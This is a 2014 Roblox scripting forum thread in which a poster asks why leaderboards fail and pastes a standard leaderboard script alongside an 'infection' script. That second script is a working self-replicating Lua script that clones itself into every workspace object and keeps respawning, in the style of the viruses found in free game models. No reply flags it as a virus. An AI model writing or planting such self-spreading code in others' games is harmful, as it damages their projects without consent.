|
| 17 Jul 2014 02:36 AM |
i have this infection thing it be the problem
but none of the leaderboards are showing up this is the infection script: if script.Parent.className ~= "RotateP" then local p = Instance.new("RotateP") p.Parent = workspace p.Name = "INfecTION" script.Parent = p end
function check() local list = workspace:GetChildren() for i = 1, #list do if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then script.Parent:Clone().Parent = list[i] end wait() end end
while true do check() if workspace:findFirstChild("inFECtion") == nil then local main = script.Parent:Clone() main.Name = "inFECtion" main.Parent = workspace end wait(3) end
now this the leaderboard script:
print("LinkedLeaderboard script version 5.03 loaded")
stands = {} CTF_mode = false
function onHumanoidDied(humanoid, player) local stats = player:findFirstChild("leaderstats") if stats ~= nil then local deaths = stats:findFirstChild("Wipeouts") local points = stats:findFirstChild("Points") deaths.Value = deaths.Value + 1 points.Value = points.Value - 0
-- do short dance to try and find the killer
local killer = getKillerOfHumanoidIfStillInGame(humanoid)
handleKillCount(humanoid, player) end end
function onPlayerRespawn(property, player) -- need to connect to new humanoid if property == "Character" and player.Character ~= nil then local humanoid = player.Character.Humanoid local p = player local h = humanoid humanoid.Died:connect(function() onHumanoidDied(h, p) end ) end end
function getKillerOfHumanoidIfStillInGame(humanoid) -- returns the player object that killed this humanoid -- returns nil if the killer is no longer in the game
-- check for kill tag on humanoid - may be more than one - todo: deal with this local tag = humanoid:findFirstChild("creator")
-- find player with name on tag if tag ~= nil then local killer = tag.Value if killer.Parent ~= nil then -- killer still in game return killer end end
return nil end
function handleKillCount(humanoid, player) local killer = getKillerOfHumanoidIfStillInGame(humanoid) if killer ~= nil then local Msg = Instance.new("Hint") Msg.Parent = game.Workspace local stats = killer:findFirstChild("leaderstats") if stats ~= nil then local kills = stats:findFirstChild("KOs") local points = stats:findFirstChild("Points") if killer ~= player then points.Value = points.Value + 15 Msg.Text = killer.Name.. " bloxxed " ..player.Name kills.Value = kills.Value + 1 game.Lighting.LeaderBoardHintScript:clone().Parent = Msg else points.Value = points.Value - 3 Msg:remove() kills.Value = kills.Value - 1 end end end end
-----------------------------------------------
function findAllFlagStands(root) local c = root:children() for i=1,#c do if (c[i].className == "Model" or c[i].className == "Part") then findAllFlagStands(c[i]) end if (c[i].className == "FlagStand") then table.insert(stands, c[i]) end end end
function hookUpListeners() for i=1,#stands do stands[i].FlagCaptured:connect(onCaptureScored) end end
function onPlayerEntered(newPlayer)
if CTF_mode == true then
local stats = Instance.new("IntValue") stats.Name = "leaderstats"
local captures = Instance.new("IntValue") captures.Name = "Captures" captures.Value = 0
captures.Parent = stats
-- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end
stats.Parent = newPlayer
else
local stats = Instance.new("IntValue") stats.Name = "leaderstats"
local kills = Instance.new("IntValue") kills.Name = "KOs" kills.Value = 0
local points = Instance.new("IntValue") points.Name = "Points" points.Value = 5
local deaths = Instance.new("IntValue") deaths.Name = "Wipeouts" deaths.Value = 0
points.Parent = stats kills.Parent = stats deaths.Parent = stats
-- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end
local humanoid = newPlayer.Character.Humanoid
humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )
-- start to listen for new humanoid newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )
stats.Parent = newPlayer
end
end
function onCaptureScored(player)
local ls = player:findFirstChild("leaderstats") if ls == nil then return end local caps = ls:findFirstChild("Captures") if caps == nil then return end caps.Value = caps.Value + 1
end
findAllFlagStands(game.Workspace) hookUpListeners() if (#stands > 0) then CTF_mode = true end game.Players.ChildAdded:connect(onPlayerEntered)
|
|
|
| Report Abuse |
|
|
BLOXLUA
|
  |
| Joined: 16 Mar 2013 |
| Total Posts: 453 |
|
|
| 17 Jul 2014 02:50 AM |
| Please don't just steal someone else's code, thank you. |
|
|
| Report Abuse |
|
|
|
| 17 Jul 2014 04:59 AM |
| will anyone will actually help i need to know it's for my brother. |
|
|
| Report Abuse |
|
|
|
| 17 Jul 2014 05:34 AM |
| it's suppose to have ko's wo's so i can give player points sometimes it's said credits or nothing |
|
|
| Report Abuse |
|
|
mehkamu21
|
  |
| Joined: 10 Feb 2012 |
| Total Posts: 1492 |
|
|
| 17 Jul 2014 08:45 AM |
| I looked over it and it doesn't seem broken |
|
|
| Report Abuse |
|
|